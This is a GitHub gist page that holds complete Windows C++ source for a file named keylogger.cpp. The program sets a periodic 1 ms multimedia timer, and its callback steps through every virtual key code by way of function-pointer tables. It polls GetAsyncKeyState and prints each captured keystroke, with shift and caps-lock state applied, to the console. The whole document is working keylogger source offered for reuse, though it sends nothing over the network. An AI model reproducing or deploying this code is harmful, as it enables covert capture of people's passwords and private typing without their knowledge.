Skip to content

Instantly share code, notes, and snippets.

@w0rd-driven
Forked from x86matthew/keylogger.cpp
Created January 17, 2025 09:06
Show Gist options
  • Save w0rd-driven/90885e9e5c01a31fe49772b5e1b5e442 to your computer and use it in GitHub Desktop.
Save w0rd-driven/90885e9e5c01a31fe49772b5e1b5e442 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "winmm.lib")
void Nothing(WORD wKey)
{
}
void PrintKey(WORD wKey)
{
BYTE bKeyboardState[256] = { 0 };
WORD wCharacter;
bKeyboardState[VK_SHIFT] = (BYTE)((GetAsyncKeyState(VK_SHIFT) & 0x8000) >> 8);
bKeyboardState[VK_CAPITAL] = (BYTE)GetKeyState(VK_CAPITAL);
printf("%.*s", ToAscii(wKey, 0, bKeyboardState, &wCharacter, 0) & 1, (char*)&wCharacter);
}
void CheckNextKey(WORD wKey)
{
void (*pFuncTable1[])(WORD) = { Nothing, PrintKey };
void (*pFuncTable2[])(WORD) = { CheckNextKey, Nothing };
pFuncTable1[GetAsyncKeyState(wKey) & 1](wKey);
wKey++;
pFuncTable2[wKey >> 8](wKey);
}
void CALLBACK TimerCallback(UINT uTimerID, UINT uMsg, DWORD_PTR dwUser, DWORD_PTR dw1, DWORD_PTR dw2)
{
CheckNextKey(0);
}
int main()
{
timeSetEvent(1, 1, TimerCallback, 0, TIME_PERIODIC);
WaitForSingleObject(GetCurrentProcess(), INFINITE);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment